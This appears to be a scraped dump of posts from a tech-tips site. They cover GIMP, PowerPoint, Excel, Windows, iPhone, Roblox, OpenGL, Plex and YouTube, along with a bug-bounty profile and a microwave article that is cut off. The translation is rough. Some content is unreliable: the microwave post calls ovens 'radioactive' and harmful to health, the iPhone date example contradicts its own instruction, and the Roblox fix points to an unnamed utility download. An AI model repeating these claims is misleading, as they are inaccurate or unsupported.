Delete key and the background will be deleted.\nPaste in the new background on a new layer and place it below the original image. Every job here is complete.\n3. Add other tools to delete the background in GIMP GIMP also has three other tools that you can use to select and then delete the background of an image. Which tool you should use depends on the degree of separation between the foreground and the background of each image, or whether you use one of the graphics tablet with a pen or mouse.\nFuzzy Select   This tool selects parts with the same color in an image.\n1. Just click on the area on the image you want to select and GIMP will do the rest.\n2. Set Threshold to a higher value to include a larger or smaller color range to increase selection accuracy.\nThis tool works well when an image contains large areas of color. Fuzzy Select is also better suited for icons and logos than regular images.\nScissors Select   Scissors Select Tool allows you to automatically select and isolate the foreground object, then delete the background.\n1. Add an Alpha Channel to the image.\n2. Select Scissors Select Tool. Then, in Tool Options, select Interactive boundary.\n3 Click along the edges of the foreground object that you want to select. This will create anchor points on the image.\n4. Move the cursor slightly along the edge of the object, then click and hold. A line will appear, connecting the previous anchor points together, displaying the edge of the area you selected. If this line is too close to the edge of the object you are trying to split, release the mouse button to create a new anchor point.\n5. If the line deflects from the outline of the object, adjust the anchor points accordingly. The shorter the distance between the anchor points, the better.\n6. Now, repeat the above actions until the entire object is selected. Press Enter to complete the selection.\n7. Finally, press Ctrl + I or Cmd + I to select the background, then press the Delete key .\nPen Tool   Like Scissors Select, Pen Tool also allows you to create a selection by drawing a line between a series of anchor points. However, this time the drawing line will not connect closely to the contour of the object anymore but connect 2 points the way the user hovered.\n1. Add an Alpha Channel to the image.\n2. Select Pen Tool and click on the edge of the object you want to select. This step will place the first anchor point.\n3. Now move the cursor a bit, along the edge of the object and click again to place the new anchor point. Click and drop to connect anchor points into a straight line. Click and drag to connect the anchor points into a curve. The direction you pull will determine the depth and angle of the curve.\n4. Repeat this until you select the entire foreground object. After finishing, press Enter.\n5. Press Ctrl + I or Cmd + I to switch to the background, then press the Delete key to delete the background.\nNo matter which tool you use, it's often easy to create a selection, no matter how small the background or foreground part is. Therefore, users will not have to manipulate too much.\n4. Delete the white background in GIMP   GIMP has a dedicated tool that allows you to remove white background. It is especially suitable for graphic objects such as logos and logos because they often have a white background.\n1. Open the image, then go to Layer\u0026gt; Transparency\u0026gt; Add Alpha Channel .\n2. Select Colors\u0026gt; Color to Alpha . This will open a new dialog.\n3. Click the Dropper icon next to the Color section , then click on the white background in the image. This will make the white area transparent. If that's all you need, you can end your work here.\n4. To refine the selection, select the Dropper tool next to Transparency Threshold, then click the darkest area of ​​the background you want to delete. You can use this tool to select dark areas (such as shadows), such as in portraits.\n5 Select the Dropper tool next to Opacity Threshold then click the lightest area of ​​the foreground object. This will ensure you don't accidentally remove parts of the foreground.\n6. Click OK to finish.\n5. Change the background color in GIMP   To change the background color in GIMP, do the same in the section to delete the white background mentioned above, then add a step to create a new background.\nCreate a new layer and use the Bucket Fill Tool to fill an optional color for this layer. In the Layers section , drag the new layer below the original layer to turn it into a background element.\n6. Delete background in GIMP with Masks   Finally, if you want to merge multiple images together, you may need to delete the background of one of the top layers, so that you can see the details in the layers below. You can do this very quickly using Masks.\n1. Open two images on separate layers in the same window.\n2. Select the top layer and click the Masks button at the bottom of the Layers. Click Add to add a mask.\n3 Select the brush tool and select black.\n4. Now start painting on the top layer. Where you paint black on the top layer, they will be erased and the bottom layer will be displayed.\n5. If you make a mistake somewhere, change the brush to white. After that, paint over the black areas of the mask and that will make the top layer appear again.\nBeing able to remove a background from an image is one of the most important things if you want to master a powerful tool like GIMP. If you recently switched from Photoshop to GIMP, this is especially important, like all other techniques in Photoshop.\nOnce you have memorized these methods, you will also learn a lot more. See TipsMake.com's guide to GIMP's full picture editing guide, in which you will learn how to master everything from color correction to removing unwanted objects from images.\nGood luck!\nSee more:\nHow to convert images into sketches in GIMP Create ghosts in Photoshop or GIMP GIMP or Photoshop is the right tool for you? ncG1vNJzZmismaXArq3KnmWcp51kg268x6irqGWVmba1tc2gZK2hoKh6uLXToWSgoZ2l\n","link":"/post/6-photo-editing-tips-with-gimp/","section":"post","tags":null,"title":"6 photo editing tips with GIMP"},{"body":"Below is the story of Evan Ricafort, a \"bug\" hunter - a \"bug hunter\" based on the article posted on editor Erin Winick's MIT Technology Review.\nEvan Ricafort, a 22-year-old boy living in the Philippines with his family in a small apartment. This guy works in a closed room at home for 75 hours a week, staring at a computer screen to save personal data of people he has never known.\n  Bug hunter is a special and growing profession. It is a combination of a group of honest hackers looking for errors, vulnerabilities, weaknesses in large companies' software, websites before hackers discover and find ways to break into to receive bonuses. .\nEvan Ricafort is a bug hunter but this guy doesn't have a computer science degree or code. The reason Ricafort stepped into this career was because his friend showed off the amount of bonuses he earned when he found a network's vulnerability. So Ricafort began to be curious, went online to find out about security researchers and tried to learn about this emerging profession.\n  At first, everyone around didn't understand this bug hunter job, but after Ricafort received the bonus, the reward for his efforts was worth it, so people recognized this as a real job.\nThis work for Ricafort not only helped him make money but also gave him the opportunity to help companies and individuals who use the company's services.\nFor the past 4 years, Ricafort has pointed out code errors of more than 200 companies and organizations, including big names in technology villages such as Google, Microsoft, Apple, PayPal, Yahoo, IBM and Twitch. Last year, Ricafort received $ 5,000 from a company he refused to name. This is the largest amount of Ricafort's career. Like every other young man, Ricafort celebrates by traveling and rewarding himself a BMX bike.\n  But Ricafort, the bug hunter's village, is known for an achievement that didn't give him any money. That was when Ricafort first entered the profession (in 2014), he discovered a serious error of Google Nest, hackers can take advantage of this flaw to get all personal information (identity card and passport number). and financial information of Nest users.\nWith this discovery, Evan Ricafort was honored by Google on the gold board of its award program. But Ricafort was not awarded cash by Google's security team saying that the error Ricafort discovered belonged to third-party software and not its. After that time, Google paid for every other bug he found.\nIt was not the first time Ricafort did not receive cash for his discovery. Many other organizations have many other methods, not cash to pay him like applauding, visiting the company's headquarters, or a T-shirt donated by the Dutch government. The word \"I hacked into the Dutch government apparatus and received only a sleek T-shirt\".\n  On average, Ricafort earns about 10,000 piso (equal to 4,300,000 VND), equal to the basic salary in the Philippines and enough for him to live through the day. There were months that Ricafort earned quite well, 20,000 or 30,000 piso (equivalent to 8,670,000 VND to 13,000,000 VND).\nThe erratic amount of money is the nature of this work, and this amount will not be enough to cover life in countries with expensive spending. But bug hunting is booming. There are companies that have good remuneration policies for the community of bug hunters, who easily contact companies that need more work and can earn more regular amounts.\nRicafort really loved the bug hunt, enjoying the differences that the hunters created were silently finding weaknesses in a long and confusing code to prevent outside attacks. .\nSee more:\nThe white \"monster master\" hat hackers World Intrusion Hackers (Part 1): Intrusion and tracing The unexpected story of young millionaires emerges from a bitcoin fever, ethereum ncG1vNJzZmismaXArq3KnmWcp51krm6u1KBkoa2eqbKzv4yjpptllaKys7PIp55mop%2BXeqq6jK2fnmWkmrCpus6lpqChk5a5bq3Gng%3D%3D\n","link":"/post/a-bug-hunter-s-job-emerging-job-in-the-technological-age/","section":"post","tags":null,"title":"A bug hunter's job, emerging job in the technological age"},{"body":"The following article introduces you in detail how to add Word Art in PowerPoint.\nStep 1: Go to the Insert tab -\u0026gt; Text -\u0026gt; WordArt -\u0026gt; Select the type of art font to create with the available templates:\n  Step 2: Enter the content to create word art:\n  Step 3: After you enter the text you need to create -\u0026gt; on the Format tab for text, click Text Fill to select the font color, Text Outline selects the border color for the text:\n  Step 4: Click the Text Effect option to select text effects, for example, select the text shadow effect:\n  Step 5: Select other effects for text:\n  - Results after editing:\n  Above is a detailed guide on how to add WordArt in PowerPoint.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51krqWwjLCmq5xdlr%2B1ecinZKmnp5q%2FsbvIp6s%3D\n","link":"/post/add-word-art-in-powerpoint/","section":"post","tags":null,"title":"Add Word Art in PowerPoint"},{"body":"The following article details you how to create and use animation effects in PowerPoint.\nStep 1: To create the effect you first need to create a background for the animated object:\n  Step 2: Go to the Insert tab -\u0026gt; Images -\u0026gt; Pictures to select an image as an animated object:\n  As a result you have inserted animated objects, a small note to create animated objects you should choose objects without background:\n  Step 3: Click on the object -\u0026gt; go to the Animations tab -\u0026gt; Add Animation -\u0026gt; Custom Path .\n  Step 4: Create moving points for the object:\n  Step 5: Adjust the effect time, because the default is 2 minutes, the object moves very fast, you should adjust for the slower moving object:\n  Because there are 2 objects here, you should select these two objects to move together by clicking Animation Pane in Animation tab -\u0026gt; click on the object under Start with previous to let the two objects run the effect together:\n  The result has created animation effects for 2 objects:\n  The above is a detailed guide on how to create and use animation effects in PowerPoint.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpmemXq2v8RmmKehnZbBqrvNZpyfnpWYwbR5yKdkqaenmr%2Bxu8inqw%3D%3D\n","link":"/post/create-and-use-animation-effects-in-powerpoint/","section":"post","tags":null,"title":"Create and use animation effects in PowerPoint"},{"body":" Adding numbers automatically to a column in Excel can be done in two ways, using the ROW function or the Fill feature. The first method ensures that the cells display the correct row numbers even when rows are added or deleted. The second,...\nMethod 1of 2:\nNumbering Rows Dynamically  Click the first cell where the series of numbers will begin. This method explains how to make each cell in a column display its corresponding row number.[1] This is a good method to use if rows are frequently added and removed in your worksheet. To create a basic row of consecutive numbers (or other data, such as days of the week or months of the year), see Filling a Column with Continous Numbers.   Type =ROW(A1) into the cell (if it is cell A1). If the cell is not A1, use the correct cell number. For example, if you are typing in cell B5, type =ROW(B5) instead.   Press ↵ Enter. The cell will now display its row number. If you typed =ROW(A1), the cell will say 1. If you typed =ROW(B5), the cell will read 5.[2] To start with 1 no matter which row you want to begin your series of numbers, count the number of rows above your current cell, then subtract that number from your formula. For example, if you entered =ROW(B5) and want the cell to display a 1, edit the formula to say =ROW(B5)-4, as B1 is back 4 rows from B5.[3]   Select the cell containing the first number in the series.\n  Hover the cursor over the box at the bottom right corner of the selected cell. This box is called the Fill Handle. When the mouse cursor is directly above the Fill Handle, the cursor will change to a crosshair symbol. If you don't see the Fill Handle, navigate to File \u0026gt; Options \u0026gt; Advanced and place a check next to 'Enable fill handle and cell drag-and-drop.'   Drag the Fill Handle down to the final cell in your series. The cells in the column will now display their corresponding row numbers. If you delete a row included in this series, the cells numbers will automatically correct themselves based on their new row numbers.  Method 2of 2:\nFilling a Column with Continuous Numbers  Click the cell where your series of numbers will begin. This method will show you how to add a series of continuous numbers to the cells in a column. If you use this method and later have to delete a row, you will need to repeat the steps to renumber the entire column. If you think you will be manipulating rows of data often, see Numbering Rows instead.   Type the first number of your series into the cell. For instance, if you will be numbering entries down a column, type 1 into this cell. You don't have to start with 1. Your series can start at any number, and can even follow other patterns (such as even numbers, in multiples of 5, and more). Excel also supports other types 'numbering,' including dates, seasons, and days of the week. To fill a column with the days of the week, for example, the first cell should say 'Monday.'   Click the next cell in the pattern. This should be the cell directly beneath the currently active cell.\n  Type the second number of the series to create the pattern. To number consecutively (1, 2, 3, etc), type a 2 here.[4] If you wanted your continuous numbers to be something like 10, 20, 30, 40, etc, the first two cells in the series should be 10 and 20. If you are using days of the week, type the next day of the week into the cell.   Click and drag to select both cells. When you release the mouse button, the both cells will be highlighted.\n  Hover the cursor over the tiny box at the bottom right corner of the highlighted area. This box is called the Fill Handle. When the mouse pointer is directly on top of the Fill Handle, the cursor will become a crosshair symbol. If you don't see the Fill Handle, navigate to File \u0026gt; Options \u0026gt; Advanced and place a check next to 'Enable fill handle and cell drag-and-drop.'   Click and drag the Fill Handle down to the final cell in your desired series. Once you release the mouse button, the cells in the column will be numbered according to the pattern you established in the first two cells.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiwdOopa6lkpq%2FbrXNZpyxm5Wh\n","link":"/post/how-to-add-autonumber-in-excel/","section":"post","tags":null,"title":"How to Add Autonumber in Excel"},{"body":"There are 2 ways to display file extensions (file extensions) in Windows 10.\nMethod 1:\n- For example, the image below, the data file does not display the file format:\n  - You just need to go to the View tab -\u0026gt; in the Show / Hide section, select the File name Extensions section -\u0026gt; the data file displays the file extension, very useful for users to use:\n  Method 2:\n- Go to File -\u0026gt; Change folder and search option:\n  - Folder Option dialog box appears, select View tab -\u0026gt; move to Hide Extensions for know file types -\u0026gt; OK:\n  - After clicking OK, the file format is displayed:\n  So it will not be difficult for you to choose the software to open the data file.\nThe above is a detailed guide on how to display file extensions (file extensions) in Window 10. I wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL2trdhmnaKklWKyucDEp6qip56oeqe1y55knrCkmru0tc6nqmahnmLEqrrDqK6sZWFl\n","link":"/post/how-to-display-file-extensions-file-extensions-in-windows-10/","section":"post","tags":null,"title":"How to display file extensions (file extensions) in Windows 10"},{"body":"Using iPhone surely we all know that, when downloading applications larger than 150MB from AppStore, users are required to turn on Wi-Fi, if only turn on 3G, 4G then you will have no way to overcome get this limit. However, Wi-Fi networks are not always available and this makes many people uncomfortable. Today, Network Administrator will guide you to fix that to download applications using 3G or 4G very simple.\nDownload applications, large-capacity games on iPhone without Wi-Fi\nNormally, when you try to download an app over 100MB (150MB with iOS 11 and above) on Apple Store with 3G, 4G will notify you to wait until the new Wifi connection is loaded.\n  If you receive the same message, click OK to turn off this window and follow the steps below to download a large application with 3G / 4G network.\n1. Open the Settings app on your iPhone or iPad.\n2. Scroll to General settings - Date \u0026amp; Time ( General - Date \u0026amp; Time).\n3. Turn off the Auto setting ( Automatically Set) option.\n4. Click on the blue date displayed below.\n5. Change back before the current day about 2-3 days (For example, today on April 24, you will adjust the date to 27/4).\n6. Click the General setting ( General) in the upper left corner of the screen to save.\n  That's it, this way you can easily download large applications on the App store with mobile data without Wi-Fi. You note after downloading the application, make sure to adjust the date correctly to avoid affecting some applications in the device offline!\nGood luck!\nSee more:\nHow to turn off the required password entry when downloading applications from the App Store on iPhone How to download the free application is completely free on iPhone / iPad The reason why you should only download the app from Play Store and App Store These are new features on App Store 5.0, do you know? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqooKG2pK3Toqanq12hrrOzxKtkraCRo3pygY%2BmmWaeoqS6bsDHnmSaqKBiwLW70Z5krquZo7Ruf8Zma6Blp57BqbvUrWSwoZae\n","link":"/post/how-to-download-applications-larger-than-150mb-from-the-app-store-using-3g-4g-without-wifi/","section":"post","tags":null,"title":"How to download applications larger than 150MB from the App Store using 3G, 4G without Wifi"},{"body":"Roblox is undeniably one of the biggest online gaming platforms out there, but not every game is perfect, Roblox still has loads of problems and bugs, users keep getting error codes. 277 Roblox when playing more than five minutes, so how to fix error code 277 Roblox, please refer to the article for more details.\nError Code 277 What is Roblox? Error Code 277 Roblox is a common error that happens randomly on Windows PC, Mac, mobile devices and consoles. If you get the Roblox 277 error, it shows that your device has disconnected from the Roblox game server. This error can occur when you are trying to get into Roblox play or even in the middle of a match.\nSeeing this error code, you can choose Leave or Reconnect. However, in most cases, choosing the second option only results in the same error and they repeat over and over again. Error code 277 Roblox is shown as below illustration.\n  How to fix error code 277 Roblox Here are a few methods to try. You don't have to try them all; Just work your way up the list until you find the one that works for you.\n1. How to fix error code 277 Roblox on phone - Step 1: Launch the Roblox game you want to play.\n- Step 2: Go back and turn on the phone's airplane mode.\n- Step 3: Turn on your Wifi connection or mobile data and go back to Roblox.\n2. How to fix error code 277 Roblox on the computer - Step 1: Download Roblox Utility Tool here\n- Step 2: Install the software and then select SCAN NOW.\n- Step 3: The software automatically scans for errors.\n- Step 4: The system automatically lists the error, select the Fix button.\n- Step 5: Restart your computer to complete the steps to fix Error Code 277 Roblox\nIn addition Tipsmake also recommends that you use Google Chrome browser instead of the default browser on your computer, they support quite well for those who are playing Roblox games, you can also use it to surf the web or access the internet. .\n  Roblox is not a game with high graphics and it is compatible with Windows 10 devices. But sometimes due to technical errors, you will face some unintentional ways when it appears. updates. All above steps to fix error code 277 Roblox are valid and effective.\nSometimes the problem can belong to the ROBLOX itself, in that case you should wait a few days to see if the problem goes away or not. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqWabn5mybn6WcGSrp5KhvLk%3D\n","link":"/post/how-to-fix-error-code-277-roblox/","section":"post","tags":null,"title":"How to fix error code 277 Roblox"},{"body":"// // File: mycube.c // Author: Matt Daisley // Created: 4/25/2012 // Project: Source code for Make a Cube in OpenGL // Description: Creates an OpenGL window and draws a 3D cube // That the user can rotate using the arrow keys //  // Controls: Left Arrow - Rotate Left // Right Arrow - Rotate Right // Up Arrow - Rotate Up // Down Arrow - Rotate Down  // ---------------------------------------------------------- // Includes // ---------------------------------------------------------- #include #include #include #define GL_GLEXT_PROTOTYPES #ifdef __APPLE__ #include  #else #include  #endif // ---------------------------------------------------------- // Function Prototypes // ---------------------------------------------------------- void display(); void specialKeys(); // ---------------------------------------------------------- // Global Variables // ---------------------------------------------------------- double rotate_y=0; double rotate_x=0; // ---------------------------------------------------------- // display() Callback function // ---------------------------------------------------------- void display(){ // Clear screen and Z-buffer glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT); // Reset transformations glLoadIdentity(); // Other Transformations // glTranslatef( 0.1, 0.0, 0.0 ); // Not included // glRotatef( 180, 0.0, 1.0, 0.0 ); // Not included // Rotate when user changes rotate_x and rotate_y glRotatef( rotate_x, 1.0, 0.0, 0.0 ); glRotatef( rotate_y, 0.0, 1.0, 0.0 ); // Other Transformations // glScalef( 2.0, 2.0, 0.0 ); // Not included //Multi-colored side - FRONT glBegin(GL_POLYGON); glColor3f( 1.0, 0.0, 0.0 ); glVertex3f( 0.5, -0.5, -0.5 ); // P1 is red glColor3f( 0.0, 1.0, 0.0 ); glVertex3f( 0.5, 0.5, -0.5 ); // P2 is green glColor3f( 0.0, 0.0, 1.0 ); glVertex3f( -0.5, 0.5, -0.5 ); // P3 is blue glColor3f( 1.0, 0.0, 1.0 ); glVertex3f( -0.5, -0.5, -0.5 ); // P4 is purple glEnd(); // White side - BACK glBegin(GL_POLYGON); glColor3f( 1.0, 1.0, 1.0 ); glVertex3f( 0.5, -0.5, 0.5 ); glVertex3f( 0.5, 0.5, 0.5 ); glVertex3f( -0.5, 0.5, 0.5 ); glVertex3f( -0.5, -0.5, 0.5 ); glEnd(); // Purple side - RIGHT glBegin(GL_POLYGON); glColor3f( 1.0, 0.0, 1.0 ); glVertex3f( 0.5, -0.5, -0.5 ); glVertex3f( 0.5, 0.5, -0.5 ); glVertex3f( 0.5, 0.5, 0.5 ); glVertex3f( 0.5, -0.5, 0.5 ); glEnd(); // Green side - LEFT glBegin(GL_POLYGON); glColor3f( 0.0, 1.0, 0.0 ); glVertex3f( -0.5, -0.5, 0.5 ); glVertex3f( -0.5, 0.5, 0.5 ); glVertex3f( -0.5, 0.5, -0.5 ); glVertex3f( -0.5, -0.5, -0.5 ); glEnd(); // Blue side - TOP glBegin(GL_POLYGON); glColor3f( 0.0, 0.0, 1.0 ); glVertex3f( 0.5, 0.5, 0.5 ); glVertex3f( 0.5, 0.5, -0.5 ); glVertex3f( -0.5, 0.5, -0.5 ); glVertex3f( -0.5, 0.5, 0.5 ); glEnd(); // Red side - BOTTOM glBegin(GL_POLYGON); glColor3f( 1.0, 0.0, 0.0 ); glVertex3f( 0.5, -0.5, -0.5 ); glVertex3f( 0.5, -0.5, 0.5 ); glVertex3f( -0.5, -0.5, 0.5 ); glVertex3f( -0.5, -0.5, -0.5 ); glEnd(); glFlush(); glutSwapBuffers(); } // ---------------------------------------------------------- // specialKeys() Callback Function // ---------------------------------------------------------- void specialKeys( int key, int x, int y ) { // Right arrow - increase rotation by 5 degree if (key == GLUT_KEY_RIGHT) rotate_y += 5; // Left arrow - decrease rotation by 5 degree else if (key == GLUT_KEY_LEFT) rotate_y -= 5; else if (key == GLUT_KEY_UP) rotate_x += 5; else if (key == GLUT_KEY_DOWN) rotate_x -= 5; // Request display update glutPostRedisplay(); } // ---------------------------------------------------------- // main() function // ---------------------------------------------------------- int main(int argc, char* argv[]){ // Initialize GLUT and process user parameters glutInit(\u0026amp;argc,argv); // Request double buffered true color window with Z-buffer glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB | GLUT_DEPTH); // Create window glutCreateWindow(\"Awesome Cube\"); // Enable Z-buffer depth test glEnable(GL_DEPTH_TEST); // Callback functions glutDisplayFunc(display); glutSpecialFunc(specialKeys); // Pass control to GLUT for events glutMainLoop(); // Return to OS return 0; } ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJurYycrJudXZ67brvPnqWgpA%3D%3D\n","link":"/post/how-to-make-a-cube-in-opengl/","section":"post","tags":null,"title":"How to Make a Cube in OpenGL"},{"body":"Since the advent of streaming services like Netflix and Hulu, terrestrial television has become obsolete. However, if you still prefer local broadcasts and want all the functions of a DVR, without having to pay a monthly fee, consider using Plex Live TV.\nIn this article, TipsMake.com will show you how to watch and record live TV (live broadcast) with Plex DVR. The article will also consider what you should consider when selecting the device you need, as well as the settings you need to enjoy the best viewing experience.\nInstructions to watch and record live TV with Plex DVR Prerequisites Choose an antenna Select tuner  Check and fix problems The Plex library Add tuner to Plex Use the Guide and Record features in Plex Please carefully consider! Prerequisites There are 3 things you need to watch and record live TV on Plex.\nPlex Media Server with Plex Pass. A compatible antenna. A compatible tuner. Plex Pass offers more benefits than Live TV and can be purchased through monthly subscriptions or as a one-time fee. Plex offers a 30-day trial with a tool to see what channels are available in your area, helping you validate your use cases.\n  Before venturing further, it should be noted that the viewing experience will not be like cable TV. This is especially true for some sporting events that tend to only be available on paid channels.\nChoose an antenna To ensure you get the 'clean' signal possible, there are a few things to consider when choosing an antenna. The first is deciding whether you need a unidirectional or omnidirectional antenna.TVFool.com provides a handy tool to give you an idea of ​​which direction the signal is in relative to your address, such as the following image.\n  The signals are represented by all the colorful lines near your location. In this case, the signal comes from many directions, so the omnidirectional antenna is better. If the graph in your case shows signals coming from only one direction, the DC antenna might be the right choice.\nAnother plus for unidirectional antennas is that they can usually reach out and have a clearer signal, but that means you'll need to change the direction of the antenna to select specific channels.\nIf you already have an antenna, you can use it, or even make one for yourself.\nSelect tuner The final part of the process is to choose a tuner. The type of tuner you need will depend on two things. Specifically, which operating system you have Plex installed and how many streams you need at the same time. So if you want to watch a channel on Plex Live TV, while simultaneously recording something, it counts as 2 streams.\n  The Plex support page (reference link: https://support.plex.tv/articles/225877427-supported-dvr-tuners-and-antennas/ ) provides a list of supported antennas along with compatibility of the operating system. The top option is HD HomeRun Connect Duo. It is supported by all operating systems and is the only system that can be connected to Network Attached Storage (NAS).\nIf there are many people in the house who need to watch TV at the same time, you may want to consider HD HomeRun Connect Quatro, which will allow 4 simultaneous streams. Once you have all the hardware you need, it's time to do some testing\nCheck and fix problems Plug the antenna into a TV tuner and, in the case of HD HomeRun, connect the TV tuner to a network switch. Then use the software that came with the device to scan the channel. This step will add to the list of channels the tuner has found.\n  If for any reason the channels you want are not found or the quality of the feed is not good, double check that the cables connecting the antenna to the tuner are sure. You can also try adjusting the position and orientation of the antenna before scanning the channels again. Once you're satisfied, it's time to take the final step: Set up Plex.\nThe Plex library When you are about to start recording, Plex will ask you to choose a library where you want to store a specific record. So if you're recording a movie, you might want to save it to your movie library. Some recordings will not be movies or TV shows (such as a soccer match).\n  First, create a folder on the computer where Plex Media Server is located and then log in to Plex. Create a library and select the category as 'TV Shows'. Name it as you like and choose the folder you just created. You can always repeat the above steps if you need more libraries in the future.\nAdd tuner to Plex You've done all the hard work, now it's time to 'tell' Plex that you've added a tuner to it to get the feed. In Plex, navigate to Settings\u0026gt; Manage\u0026gt; Live TV \u0026amp; DVR\u0026gt; Set Up Plex DVR . Plex will run a quick scan and detect the tuner you have connected. If Plex doesn't find the tuner, make sure it is powered on or try to enter the network address manually to help Plex find it. Click Continue to move to the next step.\nPlex will summarize the channels it has found, then ask you to confirm the country and zip code. Postal codes are required to get the correct program guide for your location, as many broadcasts may vary from region to region. The final step will allow you to filter any channel you don't want to clutter your guide.\n  Simply uncheck any channel you don't want, then Plex will not get it from the tuner anymore. You can also select a specific stream for a given channel. This is useful if it is possible to capture a channel in both standard definition and high definition. By default, Plex will choose the best stream for the channel, but if you later see something is wrong, you can always go back and adjust these settings.\nFinally, click Continue. Plex will start scanning each channel, including current and future broadcasts, as well as description and broadcast time. This does not happen in the background, so click Close and start watching some TV shows.\nUse the Guide and Record features in Plex Now, it is time to reap the fruits of your labor. Click Home\u0026gt; Live TV \u0026amp; DVR\u0026gt; Guide . Plex Media Server has been converted into a fully functional DVR, with program guide and complete channel selection.\n  To record a stream you are watching, simply click the Record button available on the video controls. If you are trying to record a movie, Plex will only give you the option to which movie library you want to store the recording for. If you're trying to record a TV show, there are many other options you want.\n  For TV shows, Plex will allow you to record an episode or all of the episodes for that particular show. You can also set whether you like new and repeat broadcasts, as well as which libraries you want to store them. Click Show Advanced to see how Plex really has the potential. Some advanced recording settings that you can edit are:\nSpecify a resolution, for example, HD only. Duration to record before or after the program. Limited to a specific channel. Choose the maximum number of episodes to watch to keep them. Choose whether episodes are saved or deleted after viewing. Remove ads. You can set each of these options for each program you want to record and simply sit still for Plex to perform its task. To view the recording schedule, navigate to Home\u0026gt; Live TV \u0026amp; DVR\u0026gt; Recordings .\nFrom here, you can see what is about to be recorded, play the records and even set the priority in case you have multiple records overlapping. This will ensure that favorite programs take precedence over other programs, when the tuner does not have the appropriate streams available.\nPlease carefully consider! Plex does a great job of saving programs to the library, along with accurate metadata and directory structure, but with tradeoffs. The logs will take up space and you need to make sure that you won't fill the storage space on your drive.\nTo give you the idea of ​​the space needed, an episode of The Simpsons costs more than 400MB. So be wise to choose the number of records you want to keep.\n  One of the advanced options mentioned above is Plex DVR's ability to remove ads. This is currently a test feature provided by Plex and is an CPU intensive task. On a fairly fast CPU, the 30-minute recording process takes about 3 minutes to process. This happens after the record is completed and before it is added to the library.\nIt should be noted that this is a destructive process, so if Plex discovers something like an advertisement, it will be deleted forever. This includes something that was found to be incorrect. Ad detection isn't always perfect, and for these reasons, this feature is off by default. If you choose to use the ad detection feature, add a few minutes to the end of the record to make sure it doesn't get cut off.\nPlex has made it possible for users to enjoy a complete DVR experience. You can watch live TV on any device connected to Plex Media Server, including mobile devices, from anywhere in the world.\nFor a small initial investment like this, you can significantly reduce your monthly spending and still enjoy the live TV experience. If you are considering setting up your own media server, see the instructions on how to install Plex media server.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BRqbCpecCnm2aqlZi8s7CMpaCvnV2pw27DyK2fZqicmsVusNWr\n","link":"/post/how-to-watch-and-record-live-tv-with-plex-dvr/","section":"post","tags":null,"title":"How to watch and record live TV with Plex DVR"},{"body":"YouTube is a video sharing network that is popular with users all over the world but does not lack sensitive content. So if some people are willing to share all of YouTube's activities on Facebook for their friends, on the contrary, you may have to learn how to make sure people can't follow what they do on YouTube.\nSimply because even without purpose, accidentally searching, viewing or clicking actions can become a cause of misunderstanding.\nHere are 3 ways to ensure privacy on YouTube:\nKeep the 'like' action private If you don't notice, you will probably reveal to anyone who visits your YouTube profile that you just clicked on the video. To keep your privacy, you must:\nStep 1: From the main interface of your YouTube account, click on the profile picture and select the custom icon.\n  Delete YouTube search history and privacy: From the main interface of your YouTube account, click on the avatar image (circled in red) and then select the custom icon (arrow).\nStep 2: In the ACCOUNT SETTINGS page, go to Privacy . Here you have 2 options, Keep all liked videos and saved playlists private to not update likes and save your playlist for visitors, and Keep all my private subcriptions to not update YouTube channel list you follow. Finally, click Save to save.\n  Delete YouTube search history and ensure privacy: In the ACCOUNT SETTINGS page, go to Privacy (arrow).Here, check both options, 'Keep all my liked videos and saved private playlists' (number 1) and 'Keep all my private profiles' (number 2).Finally, click Save to save.\nDelete YouTube search history Your YouTube search history is actually just for you to see what you have been looking for, but this information can easily be leaked to people who often share computers or phones. To be careful, delete all and stop updating.\nStep 1: From the main interface of your YouTube account, click on the avatar and select Creator Studio button.\n  Delete YouTube search history and ensure privacy: From the main interface of your YouTube account, click on the avatar image (circled in red) and then select the Creator Studio button (arrow).\nStep 2: Go to VIDEO MANAGER and then go to sub-section Search History. Here you can click Clear all search history to delete all keywords you ever searched on YouTube and click Pause search history to stop updating search history.\n  Delete YouTube search history and ensure privacy: Go to VIDEO MANAGER and go to sub-section Search History.Here you can press 'Clear all search history' (number 1) to delete all keywords you ever searched on YouTube and click 'Pause search history' (number 2) to stop updating the search history.\nDelete YouTube video viewing history Similar to deleting search history, deleting YouTube video viewing history can help you avoid many hassles and misunderstandings when sharing machines with others.\nTo do so, from the main interface of your YouTube account, go to the History section. Press Clear all watch history to delete all information about the videos you have opened and click Pause watch history to stop updating history.\n  Delete YouTube search history and ensure privacy: From the main interface of your YouTube account, go to History.Press 'Clear all watch history' (number 1) to delete all information about the videos you have opened and press 'Pause watch history' (number 2) to stop updating history.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnDnqOerJVixrDB066ZnmWjmq6zr8dmn6KrpKS%2FunnAp5tmnZ6owrOxjKmpoq6RmMY%3D\n","link":"/post/instructions-on-how-to-delete-youtube-search-history-and-ensure-privacy/","section":"post","tags":null,"title":"Instructions on how to delete YouTube search history and ensure privacy"},{"body":"Many studies have shown how radioactive microwaves not only harm the environment during heating food but this device can significantly reduce the nutritional value of your food and health, making it easy for you to suffer from health complications due to continuous microwave use.\nNow, another study has found that radiation from microwaves can have serious environmental impacts.\n\"According to new findings from the study, microwave ovens across Europe could emit more CO2 equivalent to nearly 7 million cars released,\" said researchers from the University of Manchester in England.\n  The study also found that microwaves emit 7.7 million tons of CO2 equivalent each year in the European Union (EU). This is equivalent to the annual emissions of 6.8 million cars.\nMicrowave across the EU consumes about 9.4 terawatts of electricity per hour (TWh). This power consumption is equivalent to the annual power consumption of three major European gas power plants.\nMicrowave ovens account for the highest percentage of all ovens in the European Union (EU), with the figure reaching nearly 135 million by 2020. Even so, the extent of their impact on The environment is still unknown.\nThe study used LCA lifecycle assessment method to 